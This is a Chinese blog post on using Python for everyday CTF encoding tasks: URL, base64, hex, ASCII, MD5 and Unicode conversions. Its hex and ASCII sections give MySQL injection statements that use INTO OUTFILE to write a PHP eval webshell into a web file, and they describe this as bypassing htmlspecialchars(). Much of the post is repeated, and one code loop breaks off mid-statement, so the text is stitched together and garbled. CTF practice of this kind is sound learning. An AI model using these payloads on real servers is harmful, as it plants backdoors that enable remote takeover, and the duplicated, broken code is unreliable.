使用python編寫ctf日常編碼轉(zhuǎn)換

當(dāng)然也有很多的在線編碼與解碼的網(wǎng)址,但是俗話說的好:”人生苦短,我用python“

-< 不說了,開寫:

<h6>URL編碼與解碼</h6>
url編碼

from urllib import *
quote("union select null,null,null from null")
'union%20select%20null%2Cnull%2Cnull%20from%20null'

url解碼

unquote("union%20select%20null%2Cnull%2Cnull%20from%20null")
'union select null,null,null from null'

url鍵值對key-value編碼

data={
... 'a':'testing',
... 'name':'侯亮平'
... }
urlencode(data)
'a=testing&name=%E4%BE%AF%E4%BA%AE%E5%B9%B3'

</br>

<h6>base64</h6>

import base64
base64.b64encode("aurora")
'YXVyb3Jh'
base64.b64decode("YXVyb3Jh")
'aurora'

base64.b32encode("aurora")
'MF2XE33SME======'
base64.b32decode("MF2XE33SME======")
'aurora'

</br>


<h6>Hex</h6>
MySQL注入可以使用hex繞過htmlspecialchars()函數(shù)從而寫入webshell。
select 3c3f70687020406576616c28245f504f53545b2274657374225d293b203f3e into outfile '/web66/login.php'

hexEncode

'<?php @eval($_POST["test"]); ?>'.encode('hex')
'3c3f70687020406576616c28245f504f53545b2274657374225d293b203f3e'

hexDecode

print "3c3f70687020406576616c28245f504f53545b2274657374225d293b203f3e".decode('hex')
<?php @eval($_POST["test"]); ?>

</br>
<h6>Ascii</h6>
MySQL中的char()函數(shù)則是轉(zhuǎn)換ascii碼的,正因如此,也可以使用這個(gè)特性來繞過htmlspecialchars()函數(shù)。

select char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62) into outfile '/web88/login.php'

map(ord,"<?php phpinfo()?>")
[60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 63, 62]

print chr(112)
p

list=[60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 63, 62]

for index in list:

url鍵值對key-value編碼
>>> data={
... 'a':'testing',
... 'name':'侯亮平'
... }
>>> urlencode(data)
'a=testing&name=%E4%BE%AF%E4%BA%AE%E5%B9%B3'
>>>
</br>

<h6>base64</h6>
>>> import base64
>>> base64.b64encode("aurora")
'YXVyb3Jh'
>>> base64.b64decode("YXVyb3Jh")
'aurora'
>>>

>>> base64.b32encode("aurora")
'MF2XE33SME======'
>>> base64.b32decode("MF2XE33SME======")
'aurora'
>>>
</br>
___


<h6>Hex</h6>
MySQL注入可以使用hex繞過htmlspecialchars()函數(shù)從而寫入webshell。
select 3c3f70687020406576616c28245f504f53545b2274657374225d293b203f3e into outfile '/web66/login.php'

hexEncode
>>> '<?php @eval($_POST["test"]); ?>'.encode('hex')
'3c3f70687020406576616c28245f504f53545b2274657374225d293b203f3e'
>>>
hexDecode
>>> print "3c3f70687020406576616c28245f504f53545b2274657374225d293b203f3e".decode('hex')
<?php @eval($_POST["test"]); ?>
>>>
</br>
<h6>Ascii</h6>
MySQL中的char()函數(shù)則是轉(zhuǎn)換ascii碼的,正因如此,也可以使用這個(gè)特性來繞過htmlspecialchars()函數(shù)。

select char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62) into outfile '/web88/login.php'

>>> map(ord,"<?php phpinfo()?>")
[60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 63, 62]
>>>
>>> print chr(112)
p
>>>
>>> list=[60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 63, 62]
>>>
>>> for index in list:
... print chr(index),
...
< ? p h p p h p i n f o ( ) ? >


<h6>MD5</h6>
md5在web安全界可以說是人盡皆知了,以他的不可逆性,大多數(shù)網(wǎng)站存儲用戶密碼等關(guān)鍵數(shù)據(jù)時(shí)常常使用md5加密。有的時(shí)候我們提交payload需要md5加密,這個(gè)時(shí)候用下面的方法就可以輕松實(shí)現(xiàn)。當(dāng)然解密的話推薦去chamd5。

from hashlib import md5
m=md5()
m.update("secret md5")
m.hexdigest()
'a437fd3a567efa56f3f08666e516bd26'

<h6>Unicode轉(zhuǎn)中文</h6>
unicode轉(zhuǎn)換中文,很多情況下都能遇到。尤其是在做滲透測試的時(shí)候。用burp的話會存在中文亂碼的問題,在python下實(shí)現(xiàn)非常簡單

print u"\u4f60\u9700\u8981\u767b\u9646"
你需要登陸

不得不提的是,在ctf競賽中還是需要使用python腳本去重新定義編碼的,多多領(lǐng)悟就好.>-<

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

推薦閱讀更多精彩內(nèi)容